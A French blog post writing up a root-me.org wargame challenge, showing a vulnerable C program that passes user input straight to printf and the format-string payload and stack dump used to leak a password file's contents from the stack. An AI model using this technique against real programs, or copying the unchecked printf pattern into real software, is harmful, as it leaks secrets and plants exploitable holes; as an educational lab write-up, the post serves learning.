Archives du blog

mardi 4 janvier 2011

Exploration de la pile via Format String

J'ai eu envie de faire un petit article là dessus étant donné que le problème s'est posé sur un challenge
(root-me.org), j'ai trouvé ça rafraichissant vu que ce n'était pas forcément le but que de rediriger le flux d'exécution là où on voulait.

#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *secret = fopen("/wargame/binary/binary6/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}

Désolé pour l'indentation je ne maitrise pas encore vraiment l'éditeur :s .
Voici la source.
Donc c'est une exploitation on ne peut plus "classique".
Mauvaise utilisation de printf sur la variable passée en paramètre, donc sa valeur peut elle aussi servir de paramètre. On utilise donc le formateur %x pour que le programme affiche les valeurs de la pile.

./level5 `python -c "print '.%08x'*100"`
00000020.08e69008.00000000.00000000.00000000.bfa46878.39617044.
28293664.6d617045.bf000a64.08048364.b76d9ff4.080496e8.bfa44808.
08e69008.bfa44810.b76d9ff4.bfa44868.b7599455.08048520.080483e0.
bfa44868.b7599455.00000002.bfa44894.bfa448a0.b7715...[...]0000000

Notre mot de passe devrait se trouver au début de tout cet amas hexadécimal.
Maintenant il faut aussi se rendre compte que tout ça se fait sur une plateforme Linux x86
donc tout est en little-endian.
On enlève les 0 du début de ligne et on garde le début de la chaîne, genre :
 bfa46878.39617044.28293664.6d617045.bf000a64.08048364
On convertit le tout en big-endian et on voit finalement apparaître le mot de passe.
(que je ne spoilerais pas ici de toute façon :p ).


3 commentaires:

  1. Pouvez-vous m'éclairer ? Je ne comprends pas pourquoi le fait d'afficher .%08x'*100 fait apparaître les valeurs de la pile.

    RépondreSupprimer
  2. Parce que printf() l'interprète et format la sortie .... man printf() !

    RépondreSupprimer
  3. Ce n'est pas toute la pile qui contiendra votre chaine recherchée, comment savoir la position de cette derniére alors?

    RépondreSupprimer